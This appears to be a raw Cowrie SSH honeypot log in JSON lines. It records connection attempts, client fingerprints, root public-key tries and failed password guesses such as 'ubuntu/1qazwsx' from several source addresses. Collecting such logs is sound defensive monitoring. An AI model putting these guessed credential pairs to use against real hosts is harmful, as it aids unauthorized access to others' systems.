{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:e2:33:a7:77:99:21:e4:73:31:e0:e3:1f:26:b6:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDasDxJv+UrnYOxysvCNCLpiyNUZg/lYmoTwYwCYkCGbdQ0AyvNvli64vN4PaSRudwfAKsTtQ0YGbh4gMjPuGE+CM/bsofwAd2kaFUMKfKVSsK3LRxM01+8nce6+/a+jcaOBYWowr0TyWMmHUy8QQzHGL3sE2GTfvi+CVQP9AEcJ0Z7rlor9ylq88TL/8QsKenZlISiRl/b8QWw5N6cyxYCwmHXwQmEKUj9TfBsSFWSGQKsptJywH9PJmZQo39MVzZk2C8398IHNTUjFmMcm45a4u8wEoWF25xDRt4zH0rKT0r0N7yPraIeVM4j4qWlSz0kQVWTMiC2P2REbYeew+SH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:e2:33:a7:77:99:21:e4:73:31:e0:e3:1f:26:b6:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:23.741387Z","src_ip":"198.143.151.198","session":"104c3be5aaf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:e2:33:a7:77:99:21:e4:73:31:e0:e3:1f:26:b6:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDasDxJv+UrnYOxysvCNCLpiyNUZg/lYmoTwYwCYkCGbdQ0AyvNvli64vN4PaSRudwfAKsTtQ0YGbh4gMjPuGE+CM/bsofwAd2kaFUMKfKVSsK3LRxM01+8nce6+/a+jcaOBYWowr0TyWMmHUy8QQzHGL3sE2GTfvi+CVQP9AEcJ0Z7rlor9ylq88TL/8QsKenZlISiRl/b8QWw5N6cyxYCwmHXwQmEKUj9TfBsSFWSGQKsptJywH9PJmZQo39MVzZk2C8398IHNTUjFmMcm45a4u8wEoWF25xDRt4zH0rKT0r0N7yPraIeVM4j4qWlSz0kQVWTMiC2P2REbYeew+SH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:23.744996Z","src_ip":"198.143.151.198","session":"104c3be5aaf3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:56:33:6c:64:a3:b3:d7:06:02:0e:c0:96:04:a3:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWqbHEbnmao9evUM8G0LlaEJNaJPYevOkxDhWdHsq2w8Wyn+uorBPExjc+zM7ckboXZ5Ev9QGf6MEGS8fV5wqzDd7Nd3tP1NWQAauOX26+QBoGT3AuXyS/byBdIWebQ9NEn0TpOOd7j0+r1WEONl6+D5ayyF9lV1cF0ySKZHDp2jMpfVdP2VxszdnEAL3en014bpkipliPbA2G3dnZOpP6CnVG5xHy6TYqzHgpLThJtejm4Y6rRa/ozhmYK+TW7MPMdwdbjdF8MA0G8Ow6Nqq4Y4zU+nAu74Prj90p4o4fU5I0k31hT9xCoxWIsHH4YoIBWN0XbBbaJfMQQXbm/Wv5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:56:33:6c:64:a3:b3:d7:06:02:0e:c0:96:04:a3:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:23.811566Z","src_ip":"198.143.151.198","session":"104c3be5aaf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:56:33:6c:64:a3:b3:d7:06:02:0e:c0:96:04:a3:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWqbHEbnmao9evUM8G0LlaEJNaJPYevOkxDhWdHsq2w8Wyn+uorBPExjc+zM7ckboXZ5Ev9QGf6MEGS8fV5wqzDd7Nd3tP1NWQAauOX26+QBoGT3AuXyS/byBdIWebQ9NEn0TpOOd7j0+r1WEONl6+D5ayyF9lV1cF0ySKZHDp2jMpfVdP2VxszdnEAL3en014bpkipliPbA2G3dnZOpP6CnVG5xHy6TYqzHgpLThJtejm4Y6rRa/ozhmYK+TW7MPMdwdbjdF8MA0G8Ow6Nqq4Y4zU+nAu74Prj90p4o4fU5I0k31hT9xCoxWIsHH4YoIBWN0XbBbaJfMQQXbm/Wv5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:23.815426Z","src_ip":"198.143.151.198","session":"104c3be5aaf3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:29:80:18:e8:0b:f3:be:1e:ba:46:d9:92:e3:65:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN2vT2DnfkkzcKorcu6WnfTKfJNXCBk/Grq47zjvujuOms0i5s/uLjupytOt1r8eSoauZYHNCt8IMao17ODtBjvS61baD1flP+r/l/obpgRziWKI6oVJUB50bGOFPm2+mE7u7dPWwznqtCO8I2F/uodIuMJhP53Do/G1J0uawgzgXMg/Pu9T0ZL1lZXzEqRyDMUtrTA0ylFqMFyBwPnSruzNG7/nIK+vovkwktQPlPFThzRihnx4LAKd5zIo+44Np0Ie1ljqdiiaxHcHZkhVDZ1UNe8jANRazFNhP/a/7GESf0c3Jg+SbaXI3kLz25bAqLE5PXWnyow7jFQQIF+V9B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:29:80:18:e8:0b:f3:be:1e:ba:46:d9:92:e3:65:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:23.882935Z","src_ip":"198.143.151.198","session":"104c3be5aaf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:29:80:18:e8:0b:f3:be:1e:ba:46:d9:92:e3:65:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN2vT2DnfkkzcKorcu6WnfTKfJNXCBk/Grq47zjvujuOms0i5s/uLjupytOt1r8eSoauZYHNCt8IMao17ODtBjvS61baD1flP+r/l/obpgRziWKI6oVJUB50bGOFPm2+mE7u7dPWwznqtCO8I2F/uodIuMJhP53Do/G1J0uawgzgXMg/Pu9T0ZL1lZXzEqRyDMUtrTA0ylFqMFyBwPnSruzNG7/nIK+vovkwktQPlPFThzRihnx4LAKd5zIo+44Np0Ie1ljqdiiaxHcHZkhVDZ1UNe8jANRazFNhP/a/7GESf0c3Jg+SbaXI3kLz25bAqLE5PXWnyow7jFQQIF+V9B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:23.887677Z","src_ip":"198.143.151.198","session":"104c3be5aaf3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:96:68:f5:28:bd:7e:91:71:a9:3c:dd:a0:5c:de:eb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAdDeUW5GYrd7775tMwPgg+1xw7OJavBJ3ExNEpnrFo3","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint de:96:68:f5:28:bd:7e:91:71:a9:3c:dd:a0:5c:de:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:23.955259Z","src_ip":"198.143.151.198","session":"104c3be5aaf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:96:68:f5:28:bd:7e:91:71:a9:3c:dd:a0:5c:de:eb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAdDeUW5GYrd7775tMwPgg+1xw7OJavBJ3ExNEpnrFo3","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:23.960141Z","src_ip":"198.143.151.198","session":"104c3be5aaf3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:cd:7c:82:f1:e9:77:0b:87:5f:f9:8d:73:23:fc:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrFcXAofnALki3VEd6Nh0jDJJNqQ2RPxl4DR54DdC0Of9y84wh99WJhYXa7YGD7sGfFOafF6ix/xDePPXQvjJ1tpiTqBCN6L0ZpM+voxyRSM4DSHMGhR3rCkbHQslk/1R9Izl9G/AJD3rjGE+up7JugeKR0XdZ5Ba+dC7IyTNjOfUsvo5exKrevyEIJqRjXMV08mlIyxQIaS1OnwrAzP/a0bdUeFVZYnN8SqW0n0KndafVPS/YCxY7iCYUkPMlOHYT4C9/GhCnI0KI71xpOYjs9Os6moOHiCZFXCotA9w6Z5jt4Ue8MMjz5yalppUcVW/gjhYe53o33VkO5/OLHCr9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:cd:7c:82:f1:e9:77:0b:87:5f:f9:8d:73:23:fc:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:24.026846Z","src_ip":"198.143.151.198","session":"104c3be5aaf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:cd:7c:82:f1:e9:77:0b:87:5f:f9:8d:73:23:fc:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrFcXAofnALki3VEd6Nh0jDJJNqQ2RPxl4DR54DdC0Of9y84wh99WJhYXa7YGD7sGfFOafF6ix/xDePPXQvjJ1tpiTqBCN6L0ZpM+voxyRSM4DSHMGhR3rCkbHQslk/1R9Izl9G/AJD3rjGE+up7JugeKR0XdZ5Ba+dC7IyTNjOfUsvo5exKrevyEIJqRjXMV08mlIyxQIaS1OnwrAzP/a0bdUeFVZYnN8SqW0n0KndafVPS/YCxY7iCYUkPMlOHYT4C9/GhCnI0KI71xpOYjs9Os6moOHiCZFXCotA9w6Z5jt4Ue8MMjz5yalppUcVW/gjhYe53o33VkO5/OLHCr9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:24.032026Z","src_ip":"198.143.151.198","session":"104c3be5aaf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:24.100451Z","src_ip":"198.143.151.198","session":"104c3be5aaf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":42524,"dst_ip":"10.17.0.5","dst_port":22,"session":"51150a805884","protocol":"ssh","message":"New connection: 211.186.79.173:42524 (10.17.0.5:22) [session: 51150a805884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:27.294788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:27.300111Z","src_ip":"211.186.79.173","session":"51150a805884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:27.588833Z","src_ip":"211.186.79.173","session":"51150a805884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"UBUNTU.123","message":"login attempt [ubuntu/UBUNTU.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:27.683329Z","src_ip":"185.9.193.111","session":"f5f38a1143d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user","message":"login attempt [user01/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:28.305568Z","src_ip":"211.186.79.173","session":"51150a805884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:28.995741Z","src_ip":"185.9.193.111","session":"f5f38a1143d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:29.492041Z","src_ip":"211.186.79.173","session":"51150a805884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":57816,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7f88fc814a1","protocol":"ssh","message":"New connection: 36.93.249.106:57816 (159.203.135.109:22) [session: b7f88fc814a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:42.230378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:42.235453Z","src_ip":"36.93.249.106","session":"b7f88fc814a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:42.514099Z","src_ip":"36.93.249.106","session":"b7f88fc814a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazwsx","message":"login attempt [ubuntu/1qazwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:43.653582Z","src_ip":"36.93.249.106","session":"b7f88fc814a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:44.935109Z","src_ip":"36.93.249.106","session":"b7f88fc814a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.238.24.130","src_port":38418,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa9ac2dd54b0","protocol":"ssh","message":"New connection: 160.238.24.130:38418 (10.17.0.5:22) [session: aa9ac2dd54b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:57.710078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:57.715242Z","src_ip":"160.238.24.130","session":"aa9ac2dd54b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:57.853080Z","src_ip":"160.238.24.130","session":"aa9ac2dd54b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:e2:33:a7:77:99:21:e4:73:31:e0:e3:1f:26:b6:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDasDxJv+UrnYOxysvCNCLpiyNUZg/lYmoTwYwCYkCGbdQ0AyvNvli64vN4PaSRudwfAKsTtQ0YGbh4gMjPuGE+CM/bsofwAd2kaFUMKfKVSsK3LRxM01+8nce6+/a+jcaOBYWowr0TyWMmHUy8QQzHGL3sE2GTfvi+CVQP9AEcJ0Z7rlor9ylq88TL/8QsKenZlISiRl/b8QWw5N6cyxYCwmHXwQmEKUj9TfBsSFWSGQKsptJywH9PJmZQo39MVzZk2C8398IHNTUjFmMcm45a4u8wEoWF25xDRt4zH0rKT0r0N7yPraIeVM4j4qWlSz0kQVWTMiC2P2REbYeew+SH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:e2:33:a7:77:99:21:e4:73:31:e0:e3:1f:26:b6:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:58.513538Z","src_ip":"160.238.24.130","session":"aa9ac2dd54b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:e2:33:a7:77:99:21:e4:73:31:e0:e3:1f:26:b6:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDasDxJv+UrnYOxysvCNCLpiyNUZg/lYmoTwYwCYkCGbdQ0AyvNvli64vN4PaSRudwfAKsTtQ0YGbh4gMjPuGE+CM/bsofwAd2kaFUMKfKVSsK3LRxM01+8nce6+/a+jcaOBYWowr0TyWMmHUy8QQzHGL3sE2GTfvi+CVQP9AEcJ0Z7rlor9ylq88TL/8QsKenZlISiRl/b8QWw5N6cyxYCwmHXwQmEKUj9TfBsSFWSGQKsptJywH9PJmZQo39MVzZk2C8398IHNTUjFmMcm45a4u8wEoWF25xDRt4zH0rKT0r0N7yPraIeVM4j4qWlSz0kQVWTMiC2P2REbYeew+SH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:58.517474Z","src_ip":"160.238.24.130","session":"aa9ac2dd54b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:56:33:6c:64:a3:b3:d7:06:02:0e:c0:96:04:a3:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWqbHEbnmao9evUM8G0LlaEJNaJPYevOkxDhWdHsq2w8Wyn+uorBPExjc+zM7ckboXZ5Ev9QGf6MEGS8fV5wqzDd7Nd3tP1NWQAauOX26+QBoGT3AuXyS/byBdIWebQ9NEn0TpOOd7j0+r1WEONl6+D5ayyF9lV1cF0ySKZHDp2jMpfVdP2VxszdnEAL3en014bpkipliPbA2G3dnZOpP6CnVG5xHy6TYqzHgpLThJtejm4Y6rRa/ozhmYK+TW7MPMdwdbjdF8MA0G8Ow6Nqq4Y4zU+nAu74Prj90p4o4fU5I0k31hT9xCoxWIsHH4YoIBWN0XbBbaJfMQQXbm/Wv5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:56:33:6c:64:a3:b3:d7:06:02:0e:c0:96:04:a3:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:58.654479Z","src_ip":"160.238.24.130","session":"aa9ac2dd54b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:56:33:6c:64:a3:b3:d7:06:02:0e:c0:96:04:a3:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWqbHEbnmao9evUM8G0LlaEJNaJPYevOkxDhWdHsq2w8Wyn+uorBPExjc+zM7ckboXZ5Ev9QGf6MEGS8fV5wqzDd7Nd3tP1NWQAauOX26+QBoGT3AuXyS/byBdIWebQ9NEn0TpOOd7j0+r1WEONl6+D5ayyF9lV1cF0ySKZHDp2jMpfVdP2VxszdnEAL3en014bpkipliPbA2G3dnZOpP6CnVG5xHy6TYqzHgpLThJtejm4Y6rRa/ozhmYK+TW7MPMdwdbjdF8MA0G8Ow6Nqq4Y4zU+nAu74Prj90p4o4fU5I0k31hT9xCoxWIsHH4YoIBWN0XbBbaJfMQQXbm/Wv5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:58.658153Z","src_ip":"160.238.24.130","session":"aa9ac2dd54b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:29:80:18:e8:0b:f3:be:1e:ba:46:d9:92:e3:65:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN2vT2DnfkkzcKorcu6WnfTKfJNXCBk/Grq47zjvujuOms0i5s/uLjupytOt1r8eSoauZYHNCt8IMao17ODtBjvS61baD1flP+r/l/obpgRziWKI6oVJUB50bGOFPm2+mE7u7dPWwznqtCO8I2F/uodIuMJhP53Do/G1J0uawgzgXMg/Pu9T0ZL1lZXzEqRyDMUtrTA0ylFqMFyBwPnSruzNG7/nIK+vovkwktQPlPFThzRihnx4LAKd5zIo+44Np0Ie1ljqdiiaxHcHZkhVDZ1UNe8jANRazFNhP/a/7GESf0c3Jg+SbaXI3kLz25bAqLE5PXWnyow7jFQQIF+V9B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:29:80:18:e8:0b:f3:be:1e:ba:46:d9:92:e3:65:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:58.794268Z","src_ip":"160.238.24.130","session":"aa9ac2dd54b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:29:80:18:e8:0b:f3:be:1e:ba:46:d9:92:e3:65:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN2vT2DnfkkzcKorcu6WnfTKfJNXCBk/Grq47zjvujuOms0i5s/uLjupytOt1r8eSoauZYHNCt8IMao17ODtBjvS61baD1flP+r/l/obpgRziWKI6oVJUB50bGOFPm2+mE7u7dPWwznqtCO8I2F/uodIuMJhP53Do/G1J0uawgzgXMg/Pu9T0ZL1lZXzEqRyDMUtrTA0ylFqMFyBwPnSruzNG7/nIK+vovkwktQPlPFThzRihnx4LAKd5zIo+44Np0Ie1ljqdiiaxHcHZkhVDZ1UNe8jANRazFNhP/a/7GESf0c3Jg+SbaXI3kLz25bAqLE5PXWnyow7jFQQIF+V9B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:58.798131Z","src_ip":"160.238.24.130","session":"aa9ac2dd54b0","protocol":"ssh"}
